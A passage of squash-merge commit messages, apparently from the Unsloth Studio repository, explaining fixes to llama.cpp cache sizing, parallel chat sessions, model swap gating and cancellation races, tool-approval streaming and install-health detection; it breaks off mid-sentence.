* Studio: match llama.cpp SWA cache sizing
* Studio: account for batch-capped SWA ubatch
* Studio: match llama.cpp KV stream padding
* Match llama.cpp batch and FA-off cache sizing
* [pre-commit.ci] auto fixes from pre-commit.com hooks
for more information, see https://pre-commit.ci
* Skip unusable compact SWA slot saves
* Align KV planning with launched server
* Match cache type casing and narrow the compact SWA slot-save skip
The launcher tested the requested cache type case-sensitively while the budget
lowercases it via _planned_main_cache_types, so a Q8_0 request emitted no
--cache-type flag and llama.cpp ran f16 while the estimate priced q8_0 (1.01 GiB
under-reserved on a 27B SWA model at ctx 32768 with 4 slots).
The compact SWA slot-save skip keyed on the sliding window alone, but the
estimator's SWA path also requires key/value length. phi3 GGUFs report a window
without those dimensions and llama.cpp runs them non-SWA, so their slots restore
fine and were being skipped.
---------
Co-authored-by: pre-commit-ci[bot] <66853113+pre-commit-ci[bot]@users.noreply.github.com>
Co-authored-by: Daniel Han <danielhanchen@gmail.com>
* Studio: preserve durations across reasoning blocks
* [pre-commit.ci] auto fixes from pre-commit.com hooks
for more information, see https://pre-commit.ci
* Studio: keep a reasoning group's timer running when it reopens
A rendered reasoning group can be closed and then reopened: parseAssistantContent
coalesces adjacent reasoning parts, so a provider that emits each block as a
complete <think>...</think> chunk lands several blocks in one group. The tracker
wrote a group's duration once and never revisited it, so such a group froze at
its first close and displayed 0 seconds.
Measure from the first time an index becomes visible rather than from the last
startGroup, and reopen a closed group while its reasoning text is still growing.
Gating on growth is what stops the timer running on into the answer. A duration
supplied by the server is now recorded as authoritative so local timing cannot
overwrite it.
Also fill indices that a single delta skips. startGroup(n) could jump past
earlier indices and leave array holes, which JSON.stringify persists as null; a
skipped group became visible and closed inside the same chunk, so it gets a
measured zero instead.
Test discovery now globs tests/, so a second test file cannot be silently
skipped by CI, and tsconfig.test.json puts tests/ under typecheck for the first
time.
---------
Co-authored-by: pre-commit-ci[bot] <66853113+pre-commit-ci[bot]@users.noreply.github.com>
Co-authored-by: danielhanchen <danielhanchen@gmail.com>
* feat(studio): run chats in parallel in the Chat tab
New Chat used to cancel whatever the current conversation was generating.
It now leaves it running, like switching to the Train or Export tab: the
sidebar shows which chats are still going, and Stop is per conversation.
Plain `unsloth studio` launched llama-server with one decode slot, so the
admission queue serialised every chat regardless of what the UI did. Both
entry points now default to the same slot count as `unsloth studio run`.
A model swap still ends every running chat, since they all decode on one
llama-server. /load and /unload now refuse with 409 and name those chats
unless the caller passes force_cancel_active, and the UI asks first.
* [pre-commit.ci] auto fixes from pre-commit.com hooks
for more information, see https://pre-commit.ci
* fix(studio): scope the composer tool badge to its own conversation
The green "Running Python: ..." badge above the composer read a single
global store value, so one chat's tool call showed above every other
chat's composer, including a brand-new empty one. Its elapsed counter
also restarted at 0 on every thread switch, and a run ending anywhere
cleared the badge everywhere.
Key the status by thread and store the moment it started, so each
conversation shows only its own tool call and the counter resumes rather
than restarts. Also adds a test that every conversation gets its own
tool sandbox directory, which parallel tool calls depend on.
* Fix stalled tool calls while awaiting approval for PR #7455
Three problems, all from the approval prompt behaving as though only one
chat could ever run.
Arguments were not streamed for a gated call, so the chat stayed blank for
as long as the model took to write the payload, which for a large file is
minutes. Nothing runs before the decision either way, and the code is what
is being approved, so python and terminal now stream their card while
gated. render_html stays suppressed: its card renders the payload.
The status read "Running ..." with a climbing timer while the call had not
started. It now reports that it is waiting for approval, then switches to
running once allowed.
The admission lease was held across the wait, so four unanswered prompts
held all four decode slots and no other chat could start while llama-server
sat idle. A parked run keeps its lease but no longer counts against
capacity.
Measured with four prompts left open: every gated call streamed its code,
none reported running, and a fresh chat answered in 0.4s where it
previously waited 290s and never did.
* Fix duplicated and truncated tool cards for PR #7455
A gated tool call rendered two cards: the provisional one that streams the
arguments, plus a second one keyed by the approval id. Only the second ever
got its tool_end, so the first spun "Running" for the rest of the chat.
Reuse the open part when the approval prompt arrives.
The terminal card also showed nothing but a 60-char trigger label, so a long
heredoc read as no progress at all. It now renders the command the same way
the Python card renders its script, and neither is capped at 10k chars.
Both cells moved inside the collapsible, so one chevron hides the code with
the output and Copy / Download exist only while the card is open. A card
parked on the prompt says so instead of counting up "Running".
* Fix review findings on the parallel-chat gate for PR #7455
Backend:
- /unload rechecks active generations under the lifecycle gate, like /load,
and lets its 409 through the catch-all instead of rewriting it as a 500.
- /load gates only once _load_model_impl has decided this is a real reload,
so an Apply on the already-loaded model no longer refuses, and the retry it
asks for no longer cancels every chat before returning already_loaded.
- The direct /v1/responses stream registers in the cancel registry, so a
non-forced unload can no longer tear llama-server down under it.
- run_server defaults to the same slot count as the CLI. colab.py calls it
without the argument, so Colab was still serialising every chat.
Frontend:
- Cancelling a backgrounded chat aborts its own request rather than only
posting a cancel id, which is the only thing that ends an external-provider
or audio run.
- The model-swap dialog counts local runs only, and falls back to the backend
when this tab's map is empty, so a reload or a second tab still gets asked.
- Context usage and the diffusion canvas are scoped to the chat that produced
them; a compare row reads activity from its member threads.
Tests:
- The extracted-source cancel harnesses supply the active-generations module,
which the tracked-cancel class now depends on.
* Fix the swap confirmation scope and cancel timing for PR #7455
A forced load cancelled every chat before the model identifier, GPU selection,
training coexistence and download checks had run, so a load that then failed
those checks stopped the chats and replaced nothing. The refusal still happens
early, but the destructive cancel now sits immediately before the teardown it
is paying for, and rechecks under the gate like /unload does.
The swap dialog only reconciled with the backend when this tab looked idle, so
one local chat was enough to hide a second tab's runs. Confirming then sent
force_cancel_active, which cancels every backend run, including the ones the
dialog never mentioned. The backend snapshot is now merged in every time, so
the dialog names what will actually stop. External-provider runs are never
registered there, so the union stays local-only.
Also drops the active-generations docstring claim about restoring sidebar
spinners, which nothing consumes.
* Defer destructive cancels and track every local stream for PR #7455
/unload cancelled the running chats before it had resolved that it unloads
anything. A stale model_path, which a second tab produces routinely, killed
every chat and then no-opped, leaving the resident model up. It now refuses
early and cancels only at each teardown, matching /load.
The swap dialog also stopped every chat locally the moment the user confirmed,
which threw away the two-phase backend behaviour: a load that then failed
identifier resolution, GPU validation or the training guard had already
truncated the replies. The backend now owns the cancel.
Three local streams decoded on llama-server without registering, so a
non-forced unload counted zero generations and tore the server down mid
response: /v1/completions streaming, and the plain and server-tool Anthropic
streams, the first of which is the default /v1/messages path. Note this makes
a non-forced load return 409 during those runs rather than draining quietly,
the same trade the /v1/responses fix made.
The safetensors tool loop still announced a gated call as running while it
waited on a human; only the GGUF loop had been fixed. A source-level parity
test now pins both.
Also drops stopAllChatThreads, which has no callers left.
* Studio: close three load/unload gate races found in review
Re-check the in-flight load guard after the stop-running-chats confirm.
The confirm always GETs active-generations before its zero-running
early-out, so the guard no longer sits atomically ahead of the
reservation and two picks in that window both reached performLoad over
the same refs. ejectModel had the same shape and gets the same re-check.
Reject a sidecar swap immediately before the forced cancel in both load
branches. The previous check was back at the top of preflight, so an
install reserving during identifier resolution, the tier probe, the
training guard or the download check made the post-drain recheck 409 a
load whose chats had already been stopped.
Enter the Anthropic passthrough's cancel tracker inside its body
generator. It was entered eagerly and returned through
_sse_streaming_response, which sets no unstarted_cleanup, so a response
whose body never started left the run registered forever and 409'd every
later non-forced load and unload.
* [pre-commit.ci] auto fixes from pre-commit.com hooks
for more information, see https://pre-commit.ci
* Trim comments across the files this PR touches
Tightens the comments and doc blocks in the backend, CLI, tests and frontend
files changed by this PR: collapses multi-line explanations to a single line
where they still read clearly, and drops the ones the code already says.
No code changes, verified by an AST comparison against the previous commit.
* Studio: defer the destructive cancel and close two gate gaps
Move the forced cancel behind every check that can still reject a swap.
The drain now runs first with the runs it is about to cancel discounted,
so it waits only for inference the cancel cannot end, then the sidecar
check decides, then the cancel fires, then a second drain lets those runs
unwind before teardown. A sidecar install reserving during the drain no
longer 409s a load whose chats have already been stopped.
Track the non-streaming /v1/completions proxy. It was the last local
decode path missing from active_generations, so an unload, which runs no
drain, tore llama-server down under it and force_cancel_active could not
signal it. It now uses the same tracked cancel event and dedicated client
as the OpenAI pass-through.
Skip the client's preliminary unload while chats are generating and let
/load evict at its own post-preflight point instead. Forwarding
force_cancel_active there truncated replies before identifier
resolution, the GPU and training guards and the download check had run.
Keep per-thread context usage so returning to a chat whose background run
finished restores its bar instead of leaving it blank until the next turn.
Make the running-flag clear run-specific. Every run without a resolved
thread id shares the "__default" key, so concurrent compare panes could
clear each other's flag and strand a live stop handle.
* [pre-commit.ci] auto fixes from pre-commit.com hooks
for more information, see https://pre-commit.ci
* Studio: register the embeddings proxy with the swap gate
/v1/embeddings proxied straight through the pooled client with no tracked
cancel event, so it never appeared in active_generations. /unload runs no
idle drain, so a concurrent non-forced unload counted zero generations and
killed llama-server mid-request, and force_cancel_active had no event to
signal. Mirrors the completions proxy: tracked event, dedicated unpooled
client closed by a cancel/disconnect watcher, unregister in a nested
finally so a close failure cannot leave a phantom generation behind.
* Trim comments on the newest changes in this PR
Comments only, no code changes: shorten the ones added by the load-gate
ordering, embeddings and per-thread usage work down to the same density as
the rest of the diff.
* Studio: register the legacy generate stream with the swap gate
/generate/stream built a cancel event but never entered the tracker, so it
was invisible to active_generations. Being in the keep-warm middleware's
inference suffixes only covers /load, which drains; /unload does not, so a
non-forced unload passed the 409 gate and then blocked on the standard
backend's generation lock, and a forced swap had no event to signal.
Registered inside the body generator under a nested finally so a teardown
failure cannot skip the unregister.
The AST contract test asserted the cleanup finally by overwriting its flag
per Try node, so a nested try made the last one win. Accumulate instead,
which is what the existence claim meant.
* Studio: three more swap-gate gaps found in review
Register /audio/generate with the gate. TTS holds the model for the whole
request and /unload runs no drain, so unregistered a non-forced swap counted
zero generations and tore the model down mid-generation; the orchestrator
path only waits 15s for the generation lock, which real TTS exceeds. No
cancel keys: no backend takes a cancel_event for audio, so the event has no
observer and a forced swap still cannot interrupt audio already in flight.
Thread the tracked cancel event into the /v1/responses admission wait. It
was the only admission caller passing None, so a queued run could not be
reached by cancel_all() and a plain /inference/cancel could not stop it at
all. Same omission fixed at the upstream send there and on /v1/completions.
Let an unforced unload of a stale model path reach the no-op check. Before
this PR that request returned 200 and did nothing; the new gate refused it
with 409 for a request that reaches no teardown branch. Gate both refusal
passes on the disjunction of the route's own teardown conditions, including
not is_loaded, so a mid-load GGUF still refuses.
* [pre-commit.ci] auto fixes from pre-commit.com hooks
for more information, see https://pre-commit.ci
* Studio: register the remaining non-streaming decode paths
stream defaults to false on all three of these, so they are the ordinary
shape of their routes, and each holds a local backend for the whole
request. /unload runs no idle drain, so with no registry entry a non-forced
swap counted zero generations and tore the backend down mid-request instead
of returning 409, and a forced one had no event to signal.
Non-streaming /v1/messages: all three helpers ran with an empty registry,
since only the streaming siblings were tracked. Registered at the call site
because the pass-through takes no cancel_event of its own, and with no
cancel keys, matching those siblings.
Non-streaming standard chat and audio-input chat: the trackers in this route
sit inside their `if payload.stream:` arms, so neither else branch was
covered. The GGUF sibling already registers its own non-streaming branch.
Each exit is in a finally on the branch's existing try, so the except arms
are covered too: a leaked entry 409s every later swap until restart.
* Studio: tighten the swap-gate comments
Comment-only pass over the newest swap-gate registrations: collapse the multi-line rationales in /unload, the legacy generate stream, audio generation and the non-streaming chat branches, and the matching test preambles, to the shortest form that still carries the reason. No code changes.
* Studio: stop the reselect dialog promising a stop that never happens
Picking an external provider leaves the local model resident and stops the
status poll mirroring it, so reselecting that model showed the stop-chats
dialog, and /load then answered already_loaded ahead of its cancel hook.
Confirmed with the live backend: the same pick with force_cancel_active set
still returned already_loaded and the chat kept streaming. Not stopping
those chats is right, since the load never interrupts them, so remove the
prompt rather than honour it. Blanket-skipping is unsafe, because the same
id and variant with one sampling setting changed is a real reload and 409s,
so the branch only fires when a status fetch confirms the resident
checkpoint and variant match, and then adopts it without calling /load.
Redact native model paths from the active-generations response. Registering
/generate/stream recorded backend.active_model_name verbatim, which is an
absolute path for a native local model, and this route is the only place
that serialises it. Redacting at the response covers every tracker rather
than the one that surfaced it.
* [pre-commit.ci] auto fixes from pre-commit.com hooks
for more information, see https://pre-commit.ci
* Studio: keep hydrated context usage in the per-thread map
The history loader restores a saved conversation's usage through
setContextUsage only, and it runs once per mount, so switching away and
back left the bar blank for a hydrated chat even after the per-thread map
landed. setContextUsage now writes the value through to the visible
thread's own entry and clears that entry when passed null, which covers
both hydration call sites and any future writer.
* Studio: unblock load cancellation and share unresolved thread keys
Run the two stop-loading fast paths ahead of the unload route's pre-gate
refusal. _unload_may_evict returns True for exactly the model being
cancelled, so the refusal was blocking the branch that cancels a load which
has replaced nothing and can interrupt no chat. The client made that
unrecoverable: cancelLoading sends the unload without force, drops the
result, and its abort never reaches /load, which takes no signal, so the
load ran on and could later cancel those chats and swap the model. Nothing
else is exempted; an unload that would tear down a serving model matches
neither fast path and still 409s. The comment claiming the client lets that
409 surface is corrected, since it discards it.
Hold every owner behind a shared thread key. Runs with no resolved thread id
share "__default" (concurrent compare panes, since startCompare clears
activeThreadId), so a single owner slot let a second run replace the first's
token and then delete the shared entry while it was still generating, and
the server-cancel map lost the older handle the same way. Both now hold a
list, the running and local flags survive until the last owner clears, and
stopChatThread stops every handle under the key.
* [pre-commit.ci] auto fixes from pre-commit.com hooks
for more information, see https://pre-commit.ci
* Studio: carry a confirmed swap into the sidecar install, key restored usage by thread
Picking a model that needs a newer transformers while chats generate raised the
"stop N chats" prompt, but the answer never reached the install that runs before
the load: /install-latest-transformers refused on those same chats and took no
force flag, so Retry hit the same 409 and nothing in the flow stopped them.
Carry force_cancel_active through the consent dialog into the installer. Only
the pre-gate fast path is skipped: the recheck under the lifecycle gate still
has to pass, so an unconfirmed caller is refused as before. The cancel runs last
inside the gate, after every check that can still reject the install, and the
drain behind it is bounded since it holds the gate and the sidecar reservation.
Also key restored context usage by the thread the loader read. history.load()
captures remoteId before two awaited round trips, so a switch inside that window
filed one thread's usage under another and setActiveThreadId kept re-applying it.
Preserve sibling owners when a run key is cleared without an owner: the image
rejection gate now uses its own token, and the reducer leaves owned runs alone.
* [pre-commit.ci] auto fixes from pre-commit.com hooks
for more information, see https://pre-commit.ci
* Studio: bound the post-cancel drains, and make cancellation reach the paths that ignored it
A forced swap cancels the chats it interrupts, then waits for them to unwind.
That wait had no deadline while holding the lifecycle gate, and TTS on the
subprocess backend observes no cancel event at all, so one audio generation
could pin every load, unload and new request for its whole duration. Bound both
post-cancel drains. Pre-cancel drains stay unbounded: the swap can still be
refused there, so shortening them would weaken what they protect.
/unload had the opposite problem and no drain at all, cancelling and tearing
down on the next line, which turned a clean stream end into a dropped
connection. Give it the same bounded wait, gated on the cancel having cancelled
something so an idle Eject pays nothing.
Make the cancel actually land where it can. GGUF TTS now takes a cancel_event
and a watcher closes its client to break the blocking POST. The Anthropic
non-streaming pass-through did the same thing the completions and embeddings
paths used to: register with the gate, then run both POSTs on the pooled client
that cannot be closed. It now uses a per-request client like they do.
Also: park and unpark the admission queue the reservation actually holds, since
queues are keyed by base_url and a reload mints a new port; key tool output by
remoteId on both sides, so the first turn of a New Chat stops writing under one
key and reading another; and give tool status a run owner, so a finishing run
cannot blank the badge a concurrent one is still showing.
Clamp --parallel to 1 on a llama-server without --kv-unified. The new default of
4 would otherwise split -c four ways on such a build, quartering the context
window for a feature it cannot serve.
* [pre-commit.ci] auto fixes from pre-commit.com hooks
for more information, see https://pre-commit.ci
* Studio: scope a chat's Stop to its own generation, and clear the way before a confirmed install
Safetensors generation is serialized on _gen_lock and the worker has a single
cancel event, so a chat still queued on that lock owns no generation. Its Stop
handler called reset_generation_state() anyway, which set the shared event and
ended whichever conversation was actually running. Parallel chats is what makes
that reachable.
_generate_inner now records its cancel_event as the current holder once it takes
the lock, and reset_generation_state drops a reset from anyone else. Every route
call site passes its own request event. A reset with no event stays global, so
unload and model switch cannot leave a generation alive, and a reset while
nothing runs still resets, so an error path before generation is not a no-op.
The other two backends take the argument too, or the standard one raises
TypeError on every cancel.
The sidecar install had the mirror of the /load ordering problem: it cancelled
the chats first and drained second, so an unrelated counted request the cancel
cannot reach (a count_tokens, say) was still there for the recheck, which then
refused an install that had already stopped every chat for nothing. Drain the
unreachable remainder first, discounting the registered chats, then cancel.
* [pre-commit.ci] auto fixes from pre-commit.com hooks
for more information, see https://pre-commit.ci
* Studio: close the windows the previous round's fixes left open
Three follow-ups, two of them holes in the fixes just before them.
The worker claim went in after _send_cmd, so the command was already running
unclaimed and a queued chat's Stop in that window still reset it. Claim first,
with the send inside the same try, so a failed send releases it too.
Tool status kept one entry per key with an owner. That stops a foreign clear but
not an overwrite: under the shared unresolved-thread key the second run replaced
the first's entry, and its own clear then removed the only one while the first
tool was still running. Keep per-run entries and render the newest.
/unload gated its drain on having cancelled something, so a request that passed
the keep-warm middleware but had not reached its tracker yet was invisible to it
and the teardown landed on an already-admitted request. Drain on the middleware
count instead, which covers that window as well as the cancelled runs, then
re-cancel whatever registered while waiting. Bounded, not a refusal: an unload is
deliberate, and on expiry it proceeds exactly as before.
* [pre-commit.ci] auto fixes from pre-commit.com hooks
for more information, see https://pre-commit.ci
* Trim the parallel-chats comments to their reasons
Compress the multi-line rationales added by this branch into shorter forms and drop
restatements of the code below them. The reasons behind the drain bounds, the deferred
cancel, the per-request generation ownership and the thread-scoped tool and usage keys
are kept, just said in fewer lines.
* Studio: own the worker per generation, and make a resumed chat requeue for its slot
Ownership was a single lock holder, so dispatched runs (compare mode bypasses
_gen_lock by design) never claimed it and the guard fell straight through to the
global reset: a Stop on one of them ended its siblings. Track the generations
actually running instead, claimed before the send and released in the same
finally on both paths. A reset still proceeds when nothing is running, so an
error path ahead of generation is not swallowed.
park() hands the freed slot to a waiter, so a chat resuming from a tool approval
could take it back while that waiter was still decoding, putting two holders on
a one-slot server and sending the resumed tool loop past the admission limit.
unpark_async waits for room; the plain unpark stays for a holder tearing down,
which will not decode again.
Audio only observed its cancel event on a forced swap. An explicit Stop just
aborts the fetch, and this route has no cancel id, so llama-server ran on to the
request timeout after the chat reported it stopped. Watch the disconnect.
Also read tool status by remoteId, matching the key the adapter writes and the
fix already made for tool output, and stop an unresolved run from writing its
usage into whichever conversation the user moved to.
* [pre-commit.ci] auto fixes from pre-commit.com hooks
for more information, see https://pre-commit.ci
* Studio: let only the generation the worker is running speak for it, and hold a slot for a resuming chat
The ownership list recorded admission, but the subprocess runs generations one
at a time, so a dispatched request queued behind another counted as an owner and
its Stop signalled the shared cancel event, ending the request that was actually
running. Keep admission for release bookkeeping and gate ownership on execution
instead, promoted when the worker first answers that request. Nothing executing
still permits a reset, so an error path ahead of generation is not swallowed.
The worker has one cancel event and no per-request cancellation, so this decides
who may pull the lever rather than making the lever per-request.
A resuming chat also polled for a slot it could never see: release() grants to
the next waiter under the same lock, so later arrivals overtook an approved chat
indefinitely. A pending unpark now reserves the next slot and they queue behind
it.
* [pre-commit.ci] auto fixes from pre-commit.com hooks
for more information, see https://pre-commit.ci
* Studio: cover the prefill window, and keep a first turn's tool output readable
Gating worker ownership on execution left the interval between the send and the
first response uncovered: nothing is executing then, and the empty case admitted
anyone, so a queued chat's Stop still ended the one in prefill. Split the empty
case. Nothing claimed at all still permits a reset, so an error path ahead of
generation is not swallowed; claimed but unanswered resolves to the oldest
claim, which is what a FIFO command queue is working on.
Putting both sides of the tool-output scope on remoteId left the first turn of a
New Chat writing under the unresolved scope for its whole life while the readers
recomputed the moment the autosave assigned an id, so the card blanked mid-run.
The readers now fall back to the unresolved scope, which only an unpersisted
first turn can occupy.
* Studio: order the parked approvals, and tie a worker claim to its enqueue
The reservation added for admission fairness was a bare count, so every approved
holder counted against every other: park two chats, approve both, and once the
last decoder released, nothing could ever satisfy the check again. That is a
deadlock where the problem it fixed was only unfairness. Make it a FIFO ticket
so a pending unpark blocks the ones behind it and no others.
_owns_worker reads claim order to decide which request the worker is prefilling,
which only holds if claiming and enqueuing cannot interleave. Hold one lock
across both on the dispatched and the locked path.
* [pre-commit.ci] auto fixes from pre-commit.com hooks
for more information, see https://pre-commit.ci
* Studio: follow a first turn's run when its thread gets an id, and key the denoising canvas per chat
A run started before its thread existed filed every handle under "__default". Nothing
moved them once autosave assigned the real id, so the sidebar row showed no spinner and
Stop could not reach the generation, which kept holding a slot.
adoptDefaultThreadRun re-keys the run maps onto the real id from the thread adapter's
initialize(), where the id first exists; anything already filed under that id wins, since
that is a later run. The adapter captures its key once at run start, so it now resolves
the live key per use through runKeyForOwner, looking its own serverCancel up in the owner
map. Without that the migrated entries are stranded and the spinner never clears.
The denoising canvas was one global slot, so two diffusion chats overwrote each other and
the ownership tag then hid the visible preview until that thread emitted again. It is now
activeDiffusionCanvasByThreadId, written and cleared per thread, and the frame no longer
carries a threadId of its own. The bubble reads threadListItem.remoteId, dropping the dead
threadListItem.id arm: the writer tags unstable_threadId, which is exactly remoteId.
Two existing backend tests needed the same treatment. _bare_orchestrator skips __init__, so
it now sets the claim bookkeeping the worker ownership check reads. The Anthropic
passthrough gate test anchored on comment prose that a rewrap had broken; it anchors on the
code instead.
* Studio: hand the worker over cleanly between generations, and stop unresolved runs sharing each other's state
Worker ownership moved off the consumer and onto the dispatcher. Consumers read their
mailbox whenever they get around to it, so a request whose gen_done had been routed still
owned the worker while the next one ran, and a late Stop for it cancelled that one. The
dispatcher is the only place responses arrive in the order the worker produced them: it
now retires a request at its terminal response and promotes the next one, and answering a
request makes it the sole executor, since the subprocess runs one generation at a time.
reserve()'s immediate path ignored the unpark tickets that _grant_waiters_locked already
honours, so a request arriving between a slot freeing and an approved chat's next poll
took it, repeatedly. It applies the same reservation now.
Three places let concurrent first turns share state through the "__default" key. Nothing
links a run filed there to the id its thread later receives, so rather than guess, each
now declines when the key is ambiguous: adoption only re-keys a lone run, the composer
badge only claims a lone status, and the tool-output fallback only applies to a thread
that is still running. That leaves two concurrent first turns where they were before
adoption existed instead of handing one thread the other's handles.
A first turn's usage was never filed, because its key stayed null for the whole run while
autosave moved activeThreadId to the real id, so the context bar went blank after the
first reply. It resolves the adopted key like the cleanup handles do.
Cancelling a forced load left the UI with no model: the previous one stays resident until
/load's teardown, and the cancel path cleared the checkpoint without rolling back. It now
resyncs from the backend, which is right whether or not the load got that far.
The sidecar install drain is weighted 1:4 rather than halved, total unchanged. Only the
second half benefits from patience, and cutting it short refused installs whose chats had
already been stopped for nothing.
* [pre-commit.ci] auto fixes from pre-commit.com hooks
for more information, see https://pre-commit.ci
* Studio: give a first turn its real thread id before the run starts
A first turn filed every run handle under a shared unresolved key because
assistant-ui binds unstable_threadId before the thread is persisted. Two of them
overlapping there is unresolvable afterwards, and the last round's migration could
only decline rather than guess, which left neither sidebar row showing its run.
The id is available earlier than I claimed. append() already tracks
threadListItem.initialize() by the user message id, and createPersistedRunAdapter
already awaits that promise before invoking the adapter, so the thread is persisted
by the time the run begins. It was only being discarded: the tracked promise resolved
to void. It now resolves to the assigned id, and the wrapper hands it to the adapter
when assistant-ui had none. An id that is already set is never replaced, since that
would move a running chat's handles out from under the row watching them. The
existing unresolved-key guards stay as a safety net but should no longer carry weight.
The sidebar counted running thread ids rather than rows, so one compare conversation
read as two chats. It folds ids into rows through the same threadIds the row spinner
uses, and still counts a running id that matches no row.
_TrackedCancel always registered kind="chat", so an embeddings or raw completions
request appeared in the model-swap prompt as an unnamed conversation and confirming
cancelled it while calling it a chat. The non-conversation routes now pass their own
kind, and the prompt says "requests" whenever the snapshot is not all chats.
* [pre-commit.ci] auto fixes from pre-commit.com hooks
for more information, see https://pre-commit.ci
* Studio: withhold the shared worker cancel from a request the worker has left
Moving ownership to the dispatcher fixed reset_generation_state, but the token loop
signals the shared worker event directly and did not carry the same rule. A dispatched
consumer runs with mark_started off and can still be draining tokens buffered before
its gen_done was routed, so stopping it there ended whichever request the worker had
started next.
It now signals only when _owns_worker agrees, the same predicate reset_generation_state
uses. The local drain and return are unconditional, since those touch nothing but this
stream. The remaining _cancel_generation callers are deliberately global: subprocess
shutdown, the pre-load kill and unload_model.
* Studio: add the AGPL-3.0 header to the first-turn identity test
* [pre-commit.ci] auto fixes from pre-commit.com hooks
for more information, see https://pre-commit.ci
* Studio: stop the dispatcher and a _gen_lock stream fighting over the response queue
Nothing stopped the dispatcher starting under a _gen_lock generation, so once compare
was opened while an ordinary chat was still streaming, both consumed _resp_queue and
whichever response the dispatcher took without a mailbox was dropped, gen_done included.
That chat truncated or hung. This PR is what makes it reachable, since navigating into
compare no longer ends the chat behind it.
Delaying the dispatcher would serialise compare behind whatever chat happens to be
streaming, so the direct readers get a mailbox instead. _direct_reader returns a reader,
a cancel drain and a release, and files the mailbox under _direct_mailboxes rather than
_mailboxes, which means "compare requests are in flight" to the unload and distributed
paths and must not count an ordinary chat.
Both directions close. The dispatcher finds the direct reader's mailbox instead of
dropping. And this reader can already be blocked on the queue when a compare request's
dispatcher starts, so a response that is not ours goes to its own mailbox rather than
being consumed, which would have corrupted the chat and hung the pane. All three
_gen_lock readers use it, and the cancel drain goes through it too.
The sidebar's return target still picked a raw pane id while the count grouped by row,
and /chat addresses compare with `compare`, not `thread`. It resolves through the same
items now, so a running compare row returns to its pair.
* [pre-commit.ci] auto fixes from pre-commit.com hooks
for more information, see https://pre-commit.ci
* Studio: keep worker ownership honest across audio, API traffic and a replaced worker
The audio-input send got a mailbox last round but stayed unclaimed, so a compare request
queued behind it looked like the oldest owner and stopping that queued request signalled
the shared event into the audio chat. It claims under the send lock and releases in the
finally, like _generate_inner.
Ownership is keyed on cancel-event identity with nothing tying it to a worker generation,
so a consumer still blocked on its mailbox when the process was replaced stayed recorded
as the executor, and a generation on the fresh worker could not be stopped.
_shutdown_subprocess clears that state once the process is confirmed dead, mailboxes
included: nothing routes to them again, and a stale one reads as compare activity to the
unload path. Not on the survived-SIGKILL path, which keeps its handle on purpose.
The four public /v1/messages trackers were registering as chats. The distinction is a
Studio thread, not the protocol, and those branches already say "No thread_id: public API
surface" while the Studio path passes payload.thread_id separately. They carry their own
kind now, so the swap prompt stops calling an external request a chat.
The swap confirmation still counted raw pane ids, so a compare conversation asked to stop
two chats and listed its title twice. It folds panes onto pairId and lowers the count by
what it collapsed, leaving a first turn the backend can count but not name.
Deep Research set runningByThreadId but registered no server-cancel handle, and that map
is how Stop, archive and delete reach a thread that is no longer active. Leaving the
outgoing thread running is this PR's doing, so the run was left unreachable while its
supervisor kept working against a conversation the user could delete.
* [pre-commit.ci] auto fixes from pre-commit.com hooks
for more information, see https://pre-commit.ci
* Studio: tighten the parallel-chats comments
* Studio: replay a Deep Research stop that arrived before the run existed
The handle is registered before createResearchRun resolves because the thread can be
stopped while that request is in flight, but it had no id to act on and dropped the stop.
The supervisor then followed a run the user had already stopped, archived or deleted.
It latches instead: a stop with no id yet sets a flag, and the adapter replays it against
the id the moment creation returns rather than starting to follow.
* [pre-commit.ci] auto fixes from pre-commit.com hooks
for more information, see https://pre-commit.ci
* Studio: fix worker ownership on a raced reroute, and the stop-chats prompt
Four review findings on the parallel-chats work, all reproduced first.
- _direct_reader hands a foreign response to its own mailbox, but skipped the
ownership move the dispatcher makes. A _gen_lock reader already blocked on
resp_queue can beat the compare dispatcher to that request's first response,
and the compare consumer opts out of marking, so nothing promoted it: the
direct request stayed the recorded executor, its late reset cancelled the
compare generation, and the compare chat's own Stop was ignored.
- A chat stopped while queued on _gen_lock was still claimed and sent once the
lock freed. Cancellation is only checked on a token, so a long prefill, or a
generation reaching gen_done without one, occupied the worker after Stop.
Same hole in the audio-input path, which shares the lock.
- The stop-chats prompt counted generation handles, not conversations. One chat
holds several while a tool continuation registers its next leg before the
previous unwinds, so it offered to stop two chats and listed one title.
- Ejecting a model confirms through that dialog, which told the user
"Unloading the model reloads the model" and offered "Stop and reload".
Confirming calls /unload and leaves nothing loaded.
* [pre-commit.ci] auto fixes from pre-commit.com hooks
for more information, see https://pre-commit.ci
* Studio: name the TTS run's thread so the stop prompt counts it once
The audio branch registers its run locally under the thread key but sent no
thread_id, so the backend tracker filed the same generation under no thread.
The stop-chats prompt then had a named local run and an unnamed backend one and,
since e8e7594 started adding unnamed entries to the named ones, counted a single
TTS chat as two requests. The backend already reads payload.thread_id, so
sending it lines both registries up on the same run.
* [pre-commit.ci] auto fixes from pre-commit.com hooks
for more information, see https://pre-commit.ci
---------
Co-authored-by: pre-commit-ci[bot] <66853113+pre-commit-ci[bot]@users.noreply.github.com>
* Remove Studio desktop auth handoff flash
* [pre-commit.ci] auto fixes from pre-commit.com hooks
for more information, see https://pre-commit.ci
---------
Co-authored-by: pre-commit-ci[bot] <66853113+pre-commit-ci[bot]@users.noreply.github.com>
* Fix Windows Codex temporary home path
* Fix Codex ephemeral session cleanup
* [pre-commit.ci] auto fixes from pre-commit.com hooks
for more information, see https://pre-commit.ci
* Harden Codex temp home reclamation
---------
Co-authored-by: pre-commit-ci[bot] <66853113+pre-commit-ci[bot]@users.noreply.github.com>
* Handle llama.cpp tool schema limits
* [pre-commit.ci] auto fixes from pre-commit.com hooks
for more information, see https://pre-commit.ci
---------
Co-authored-by: pre-commit-ci[bot] <66853113+pre-commit-ci[bot]@users.noreply.github.com>
* Fix Claude client tools under server tool policy
* [pre-commit.ci] auto fixes from pre-commit.com hooks
for more information, see https://pre-commit.ci
* Preserve Anthropic client tool routing
* Match text editor schemas by version
---------
Co-authored-by: pre-commit-ci[bot] <66853113+pre-commit-ci[bot]@users.noreply.github.com>
* Studio: detect an interrupted dependency install instead of launching a backend that cannot import
An installer killed part-way leaves a venv with a working CLI but without
studio.txt's dependencies. Nothing recorded that, so three separate places all
reported it healthy:
- the desktop preflight probed only `unsloth -h` (typer + rich) and a hardcoded
desktop-capabilities dict, neither of which touches studio.backend, so it
returned ManagedReady and spawned a backend that died on `import structlog`;
- setup.sh's fast path compared the installed unsloth version against PyPI,
which matches on a half-built venv because unsloth is installed early, so
`unsloth studio update` printed "up to date" and repaired nothing;
- start_managed_repair calls that update and then re-checks with the same blind
